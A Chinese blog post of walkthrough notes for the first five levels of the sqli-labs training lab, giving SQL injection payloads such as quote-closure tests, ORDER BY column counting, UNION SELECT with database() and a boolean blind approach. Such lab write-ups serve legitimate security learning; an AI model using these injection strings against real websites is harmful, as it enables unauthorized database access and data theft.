首页 > 数据库 >sqli-lib通关笔记

sqli-lib通关笔记

时间:2023-05-22 17:47:24浏览次数:45  
标签:语句 lib -- qwe 闭合 sqli 通关 select 注入

  因为好久都没有联系过SQL注入了,打算重新拾起渗透方向的能力,去他妈的运维,老子才不要做运维,被傻逼公司给骗了,当了一年的运维,白白浪费了一年。

第一关

先查看一下代码:

 

真正的关于注入的核心语句就只有中间的select查询语句,一是先看是什么闭合,第二再看有没有过滤

没有任何的过滤,然后是单引号闭合。

构建注入语句:1' and 1=2 -- qwe

 发现结果报错,说明该已经正确闭合,接下来就是常规操作

1' order by 3 -- qwe

1' union select 1,2,3 -- qwe

-1' union select 1,database(),3 -- qwe

第二关

很简单的数字类型的注入

?id=1 and 1=2

第三关

单引号括号注入

?id=1') and 1=2 -- qwe

第四关

双引号括号注入

1") and 1=2 -- qwe

第五关

布尔盲注

 不会查出我们具体想要的数据,只会显示True OR False

思路就是先根据回显出的布尔类型的数值,然后找到闭合,然后通过爆破找到想要的内容

 

标签:语句,lib,--,qwe,闭合,sqli,通关,select,注入
From: https://www.cnblogs.com/jeshua0001/p/17420980.html

相关文章

  • python学习笔记32:操作sqlite数据库
    importsqlite3#1.创建数据库连接#如果test.db存在,则建立连接,返回connect对象#如果test.db不存在,则新建数据库,再建立连接,返回connect对象conn=sqlite3.connect(database='test.db')#2.创建cursor对象cursor=conn.cursor()#SQL指令sql='''......
  • GitLib详细使用手册(windows系统)
    Git是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。对gitlab的常见的使用有建立仓库、提交代码、更新代码、回滚代码、显示/修改日志、拉取分支、解决冲突、设置比较工具等一、安装git下载官网地址: https://git-scm.com/downloads根据操......
  • 解决报错libssl.so.1.1: cannot open shared object file: No such file or directory
    Centos7默认提供的openssl版本是1.0.2的,某些php扩展或者其他软件依赖1.1以上版本如果过低的话就会报错libssl.so.1.1:cannotopensharedobjectfile:Nosuchfileordirectory也有执行opensslversion时报错和上面一致,这是由于openssl库的位置不正确或未安装1.......
  • 2016 Android Top 10 Library
    阅读本文大概需要10.24分钟。过去的2016年,开源社区异常活跃,很多个人与公司争相开源自己的项目,让人眼花缭乱,然而有些项目只是昙花一现,有些项目却持久创造价值,为开发者提供了极大的便利,这些终究由时间来判断。今天,我就来整理一篇,我个人认为的2016年对Android开发有巨大帮助的......
  • 2016 Top 10 Android Library
    过去的2016年,开源社区异常活跃,很多个人与公司争相开源自己的项目,让人眼花缭乱,然而有些项目只是昙花一现,有些项目却持久创造价值,为开发者提供了极大的便利,这些终究由时间来判断。今天,我就来整理一篇,我个人认为的2016年对Android开发有巨大帮助的,甚至改变了Android开发方式的......
  • 2. Equalibrium and Temperature
    什么是Equalibrium(state)Equalibirumstate可以说是系统演化的一个目标,当一个系统经过长时间的演化后处于一个与初始条件无关,且其一些宏观性质不随时间变化的状态时,我们就说系统进入了equalibriumstate.如何描述Equalibrium实际上通过一组宏观上测量的量就可以描述equlibri......
  • 报错 libmysqlclient.so.20: cannot open shared object file: No such file or direc
    1背景环境:centos7,c++程序最近在重新部署一个老软件都时候遇到libmysqlclient.so.20:cannotopensharedobjectfile:Nosuchfileordirectory错误,这是提示缺失mysql的连接文件2解决方法错误提示已经很明显了,那就缺啥补啥,找一台装过mysql的机器查找此文件[root@localh......
  • 使用JSTL 通过taglib标签引入所需的标签库 uri属性没有提示
     首先找到这两个支持jar包 然后添加到项目的web下面的WEB-INF-->lib(没有的话自己建)下接着 鼠标在项目上右键Addaslibrary,下拉列表选择projectlibrary或者Module Library都可以。  ......
  • 锐评bilibili客户端
    再新时代人们的生活中,手机app已经成为了人们不可或缺的一部分,而视频应用更是不可或缺的一部分,所以借此机会,我想锐评一下哔哩哔哩也就是大家常说的b站。首先,在用户界面方面,虽然视频应用的营收主要在广告,但现在版本推荐的广告是否有点太多了,而且很多广告文不对题,我认为这些......
  • 通用的CRUD之Sqlite
    前言SQLite是一种轻量级的关系型数据库管理系统,支持跨平台操作。它可以嵌入到程序中,无需单独的服务器进程或者配置文件,减少了数据库维护的负担和运行的复杂性。SQLite的数据存储在单个文件中,方便备份、传输和分享,也容易进行版本管理。SQLite拥有良好的性能、可靠的稳定性和丰富的......